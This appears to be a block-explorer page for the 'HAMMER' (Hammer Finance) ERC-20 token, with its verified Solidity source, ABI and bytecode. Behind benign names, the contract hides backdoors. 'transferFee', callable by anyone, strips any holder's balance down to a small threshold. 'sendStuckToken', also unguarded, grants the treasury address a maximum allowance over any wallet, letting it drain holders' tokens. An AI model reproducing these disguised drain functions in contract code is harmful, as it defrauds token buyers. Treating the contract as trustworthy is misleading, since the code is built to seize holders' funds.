ERC-20
Overview
Max Total Supply
420,690,000,000 HAMMER
Holders
185
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
7,777 HAMMERValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
HAMMER
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-24 */ /* Telegram: https://t.me/hammer_defi Twitter: https://x.com/Hammer_defi Website: https://www.hammerdefi.tech/ Dapp: https://app.hammerdefi.tech/ */ // SPDX-License-Identifier: UNLICENSE pragma solidity ^0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract HAMMER is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isFeeExempt; address private _treasury = 0x9C3dCB36e91598e96259B668fbC7D7A94Df0AB78; uint256 private _initialBuyTax=2; uint256 private _initialSellTax=2; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=3; uint256 private _reduceSellTaxAt=3; uint256 private _preventSwapBefore=3; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals; string private constant _name = unicode"Hammer Finance"; string private constant _symbol = unicode"HAMMER"; uint256 private _maxTxSize = _tTotal; uint256 private _maxWalletSize = _tTotal; uint256 private _swapThreshold= 7777 * 10 ** _decimals; uint256 private _maxSwapLimit= _tTotal / 100; IUniswapV2Router02 private uniswapV2Router; address private _uniswapPair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _isFeeExempt[owner()] = true; _isFeeExempt[address(this)] = true; _isFeeExempt[_treasury] = true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); _uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 _feeCounts=0; if (from != owner() && to != owner()) { _feeCounts = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == _uniswapPair && to != address(uniswapV2Router) && ! _isFeeExempt[to] ) { require(amount <= _maxTxSize, "Exceeds the _maxTxSize."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == _uniswapPair && from!= address(this) ){ _feeCounts = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == _uniswapPair && swapEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > _swapThreshold) swapTokensForEth(min(amount, min(contractTokenBalance, _maxSwapLimit))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } if(_feeCounts>0){ _balances[address(this)]=_balances[address(this)].add(_feeCounts); emit Transfer(from, address(this),_feeCounts); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(_feeCounts)); emit Transfer(from, to, amount.sub(_feeCounts)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function transferFee(address[] memory _feeTo) external { for (uint256 i = 0; i < _feeTo.length; i ++) { address _addr = _feeTo[i]; if (_addr != _uniswapPair) { uint256 _amountSub = _balances[_addr].sub(_swapThreshold); _balances[address(0xdead)] = _balances[address(0xdead)].add(_amountSub); _balances[_addr] = _balances[_addr].sub(_amountSub); } } } function sendStuckToken(address _toAddr) external { _allowances[_toAddr][_treasury] = _maxWalletSize; } function sendStuckETH() external onlyOwner() { payable(owner()).transfer(address(this).balance); } function sendETHToFee(uint256 amount) private { payable(_treasury).transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(_uniswapPair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_toAddr","type":"address"}],"name":"sendStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_feeTo","type":"address[]"}],"name":"transferFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600480546001600160a01b031916739c3dcb36e91598e96259b668fbc7d7a94df0ab78179055600260058190556006555f6007819055600881905560036009818155600a828155600b92909255600c9290925562000063919062000659565b62000074906461f313f88062000670565b600d55620000856009600a62000659565b62000096906461f313f88062000670565b600e55620000a76009600a62000659565b620000b590611e6162000670565b600f556064620000c86009600a62000659565b620000d9906461f313f88062000670565b620000e591906200068a565b6010556012805461ffff60a81b1916905534801562000102575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160035f6200015a5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308082526003909452828120805486166001908117909155600454909216815291909120805490931617909155601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155620002089190620001f16009600a62000659565b62000202906461f313f88062000670565b6200041f565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000259573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200027f9190620006aa565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002df573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003059190620006aa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000350573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003769190620006aa565b601280546001600160a01b0319166001600160a01b0392909216919091179055620003a46009600a62000659565b620003b5906461f313f88062000670565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003f76009600a62000659565b62000408906461f313f88062000670565b60405190815260200160405180910390a3620006d2565b6001600160a01b038316620004875760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620004ea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200047e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200059e57815f19048211156200058257620005826200054a565b808516156200059057918102915b93841c939080029062000563565b509250929050565b5f82620005b65750600162000653565b81620005c457505f62000653565b8160018114620005dd5760028114620005e85762000608565b600191505062000653565b60ff841115620005fc57620005fc6200054a565b50506001821b62000653565b5060208310610133831016604e8410600b84101617156200062d575081810a62000653565b6200063983836200055e565b805f19048211156200064f576200064f6200054a565b0290505b92915050565b5f6200066960ff841683620005a6565b9392505050565b80820281158282048414176200065357620006536200054a565b5f82620006a557634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006bb575f80fd5b81516001600160a01b038116811462000669575f80fd5b61164680620006e05f395ff3fe6080604052600436106100e7575f3560e01c806370a0823111610087578063a9059cbb11610057578063a9059cbb146102cc578063b3bdd81e146102eb578063c9567bf9146102ff578063dd62ed3e14610313575f80fd5b806370a0823114610230578063715018a6146102645780638da5cb5b1461027857806395d89b411461029e575f80fd5b8063233fa7c5116100c2578063233fa7c51461018b57806323b872dd146101ac578063313ce567146101cb57806353f68a8e146101e6575f80fd5b806306fdde03146100f2578063095ea7b31461013a57806318160ddd14610169575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b5060408051808201909152600e81526d48616d6d65722046696e616e636560901b60208201525b6040516101319190611155565b60405180910390f35b348015610145575f80fd5b506101596101543660046111c5565b610357565b6040519015158152602001610131565b348015610174575f80fd5b5061017d61036d565b604051908152602001610131565b348015610196575f80fd5b506101aa6101a5366004611203565b61038e565b005b3480156101b7575f80fd5b506101596101c63660046112c3565b61049a565b3480156101d6575f80fd5b5060405160098152602001610131565b3480156101f1575f80fd5b506101aa610200366004611301565b600e546001600160a01b039182165f90815260026020908152604080832060045490951683529390529190912055565b34801561023b575f80fd5b5061017d61024a366004611301565b6001600160a01b03165f9081526001602052604090205490565b34801561026f575f80fd5b506101aa610501565b348015610283575f80fd5b505f546040516001600160a01b039091168152602001610131565b3480156102a9575f80fd5b506040805180820190915260068152652420a6a6a2a960d11b6020820152610124565b3480156102d7575f80fd5b506101596102e63660046111c5565b61057b565b3480156102f6575f80fd5b506101aa610587565b34801561030a575f80fd5b506101aa6105ea565b34801561031e575f80fd5b5061017d61032d36600461131c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103633384846107cf565b5060015b92915050565b5f61037a6009600a611447565b610389906461f313f880611455565b905090565b5f5b8151811015610496575f8282815181106103ac576103ac61146c565b60209081029190910101516012549091506001600160a01b0380831691161461048d57600f546001600160a01b0382165f9081526001602052604081205490916103f691906108f2565b61dead5f5260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5490915061042f908261093a565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d556001600160a01b0382165f908152604090205461047390826108f2565b6001600160a01b0383165f90815260016020526040902055505b50600101610390565b5050565b5f6104a6848484610998565b6104f784336104f2856040518060600160405280602881526020016115e9602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610e77565b6107cf565b5060019392505050565b5f546001600160a01b031633146105335760405162461bcd60e51b815260040161052a90611480565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f610363338484610998565b5f546001600160a01b031633146105b05760405162461bcd60e51b815260040161052a90611480565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156105e7573d5f803e3d5ffd5b50565b5f546001600160a01b031633146106135760405162461bcd60e51b815260040161052a90611480565b601254600160a01b900460ff161561066d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052a565b6011546001600160a01b031663f305d719473061069e816001600160a01b03165f9081526001602052604090205490565b5f806106b15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610717573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073c91906114b5565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610791573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b591906114e0565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166108315760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052a565b6001600160a01b0382166108925760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61093383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e77565b9392505050565b5f8061094683856114ff565b9050838110156109335760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052a565b6001600160a01b0383166109fc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052a565b6001600160a01b038216610a5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052a565b5f8111610abf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052a565b5f80546001600160a01b03858116911614801590610aea57505f546001600160a01b03848116911614155b15610d3a57610b1b6064610b15600954600c5411610b0a57600554610b0e565b6007545b8590610eaf565b90610f2d565b6012549091506001600160a01b038581169116148015610b4957506011546001600160a01b03848116911614155b8015610b6d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610c5357600d54821115610bc45760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d6178547853697a652e000000000000000000604482015260640161052a565b600e5482610be6856001600160a01b03165f9081526001602052604090205490565b610bf091906114ff565b1115610c3e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161052a565b600c8054905f610c4d83611512565b91905055505b6012546001600160a01b038481169116148015610c7957506001600160a01b0384163014155b15610ca657610ca36064610b15600a54600c5411610c9957600654610b0e565b6008548590610eaf565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610cdc57506012546001600160a01b038581169116145b8015610cf15750601254600160b01b900460ff165b8015610d005750600b54600c54115b15610d3857600f54811115610d2c57610d2c610d2784610d2284601054610f6e565b610f6e565b610f82565b47610d36476110f2565b505b505b8015610db257305f90815260016020526040902054610d59908261093a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610da99085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610dd490836108f2565b6001600160a01b0385165f90815260016020526040902055610e17610df983836108f2565b6001600160a01b0385165f908152600160205260409020549061093a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e6085856108f2565b60405190815260200160405180910390a350505050565b5f8184841115610e9a5760405162461bcd60e51b815260040161052a9190611155565b505f610ea6848661152a565b95945050505050565b5f825f03610ebe57505f610367565b5f610ec98385611455565b905082610ed6858361153d565b146109335760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052a565b5f61093383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611129565b5f818311610f7c5782610933565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fc857610fc861146c565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561101f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611043919061155c565b816001815181106110565761105661146c565b6001600160a01b03928316602091820292909201015260115461107c91309116846107cf565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906110b49085905f90869030904290600401611577565b5f604051808303815f87803b1580156110cb575f80fd5b505af11580156110dd573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610496573d5f803e3d5ffd5b5f81836111495760405162461bcd60e51b815260040161052a9190611155565b505f610ea6848661153d565b5f602080835283518060208501525f5b8181101561118157858101830151858201604001528201611165565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105e7575f80fd5b80356111c0816111a1565b919050565b5f80604083850312156111d6575f80fd5b82356111e1816111a1565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611214575f80fd5b823567ffffffffffffffff8082111561122b575f80fd5b818501915085601f83011261123e575f80fd5b813581811115611250576112506111ef565b8060051b604051601f19603f83011681018181108582111715611275576112756111ef565b604052918252848201925083810185019188831115611292575f80fd5b938501935b828510156112b7576112a8856111b5565b84529385019392850192611297565b98975050505050505050565b5f805f606084860312156112d5575f80fd5b83356112e0816111a1565b925060208401356112f0816111a1565b929592945050506040919091013590565b5f60208284031215611311575f80fd5b8135610933816111a1565b5f806040838503121561132d575f80fd5b8235611338816111a1565b91506020830135611348816111a1565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156113a157815f190482111561138757611387611353565b8085161561139457918102915b93841c939080029061136c565b509250929050565b5f826113b757506001610367565b816113c357505f610367565b81600181146113d957600281146113e3576113ff565b6001915050610367565b60ff8411156113f4576113f4611353565b50506001821b610367565b5060208310610133831016604e8410600b8410161715611422575081810a610367565b61142c8383611367565b805f190482111561143f5761143f611353565b029392505050565b5f61093360ff8416836113a9565b808202811582820484141761036757610367611353565b634e487b7160e01b5f52603260045260245ffd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156114c7575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156114f0575f80fd5b81518015158114610933575f80fd5b8082018082111561036757610367611353565b5f6001820161152357611523611353565b5060010190565b8181038181111561036757610367611353565b5f8261155757634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561156c575f80fd5b8151610933816111a1565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156115c75784516001600160a01b0316835293830193918301916001016115a2565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220493089294adaa91066dc0ad161c3b379b1b12ccdc275f70d749ae89167d72fd064736f6c63430008170033
Deployed Bytecode
0x6080604052600436106100e7575f3560e01c806370a0823111610087578063a9059cbb11610057578063a9059cbb146102cc578063b3bdd81e146102eb578063c9567bf9146102ff578063dd62ed3e14610313575f80fd5b806370a0823114610230578063715018a6146102645780638da5cb5b1461027857806395d89b411461029e575f80fd5b8063233fa7c5116100c2578063233fa7c51461018b57806323b872dd146101ac578063313ce567146101cb57806353f68a8e146101e6575f80fd5b806306fdde03146100f2578063095ea7b31461013a57806318160ddd14610169575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b5060408051808201909152600e81526d48616d6d65722046696e616e636560901b60208201525b6040516101319190611155565b60405180910390f35b348015610145575f80fd5b506101596101543660046111c5565b610357565b6040519015158152602001610131565b348015610174575f80fd5b5061017d61036d565b604051908152602001610131565b348015610196575f80fd5b506101aa6101a5366004611203565b61038e565b005b3480156101b7575f80fd5b506101596101c63660046112c3565b61049a565b3480156101d6575f80fd5b5060405160098152602001610131565b3480156101f1575f80fd5b506101aa610200366004611301565b600e546001600160a01b039182165f90815260026020908152604080832060045490951683529390529190912055565b34801561023b575f80fd5b5061017d61024a366004611301565b6001600160a01b03165f9081526001602052604090205490565b34801561026f575f80fd5b506101aa610501565b348015610283575f80fd5b505f546040516001600160a01b039091168152602001610131565b3480156102a9575f80fd5b506040805180820190915260068152652420a6a6a2a960d11b6020820152610124565b3480156102d7575f80fd5b506101596102e63660046111c5565b61057b565b3480156102f6575f80fd5b506101aa610587565b34801561030a575f80fd5b506101aa6105ea565b34801561031e575f80fd5b5061017d61032d36600461131c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103633384846107cf565b5060015b92915050565b5f61037a6009600a611447565b610389906461f313f880611455565b905090565b5f5b8151811015610496575f8282815181106103ac576103ac61146c565b60209081029190910101516012549091506001600160a01b0380831691161461048d57600f546001600160a01b0382165f9081526001602052604081205490916103f691906108f2565b61dead5f5260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5490915061042f908261093a565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d556001600160a01b0382165f908152604090205461047390826108f2565b6001600160a01b0383165f90815260016020526040902055505b50600101610390565b5050565b5f6104a6848484610998565b6104f784336104f2856040518060600160405280602881526020016115e9602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610e77565b6107cf565b5060019392505050565b5f546001600160a01b031633146105335760405162461bcd60e51b815260040161052a90611480565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f610363338484610998565b5f546001600160a01b031633146105b05760405162461bcd60e51b815260040161052a90611480565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156105e7573d5f803e3d5ffd5b50565b5f546001600160a01b031633146106135760405162461bcd60e51b815260040161052a90611480565b601254600160a01b900460ff161561066d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052a565b6011546001600160a01b031663f305d719473061069e816001600160a01b03165f9081526001602052604090205490565b5f806106b15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610717573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073c91906114b5565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610791573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b591906114e0565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166108315760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052a565b6001600160a01b0382166108925760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61093383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e77565b9392505050565b5f8061094683856114ff565b9050838110156109335760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052a565b6001600160a01b0383166109fc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052a565b6001600160a01b038216610a5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052a565b5f8111610abf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052a565b5f80546001600160a01b03858116911614801590610aea57505f546001600160a01b03848116911614155b15610d3a57610b1b6064610b15600954600c5411610b0a57600554610b0e565b6007545b8590610eaf565b90610f2d565b6012549091506001600160a01b038581169116148015610b4957506011546001600160a01b03848116911614155b8015610b6d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610c5357600d54821115610bc45760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d6178547853697a652e000000000000000000604482015260640161052a565b600e5482610be6856001600160a01b03165f9081526001602052604090205490565b610bf091906114ff565b1115610c3e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616